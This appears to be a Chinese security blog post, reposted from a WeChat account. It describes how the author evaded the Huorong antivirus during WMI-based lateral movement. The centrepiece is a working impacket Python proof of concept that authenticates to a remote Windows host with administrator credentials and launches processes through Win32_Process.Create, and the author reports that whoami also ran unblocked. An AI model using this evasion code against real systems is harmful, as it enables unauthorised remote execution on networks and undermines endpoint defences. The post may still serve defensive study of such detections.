查看拦截日志
wmi是基于135端口进行的横向。依赖445只是因为,需要使用445取回命令执行结果。sharpwmi进行横向的时候火绒日志有一个特别有趣的地方:
这个是winmgmt的CLSID,假设sharpwmi调用这个dcom对象导致的被拦截?于是我马上自己用python写了一个wmiexec进行验证。调用calc验证我的想法,使用Process Hacker进行监控进程。
编写poc绕过
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
dcom = DCOMConnection("192.168.111.180", "administrator", "123456")
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
win32Process.Create("c:\\windows\\system32\\calc.exe","C:\\",None)
运行代码,成功调用calc.exe。接下来,我们执行cmd命令。
修改代码执行whoami火绒并未拦截
本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。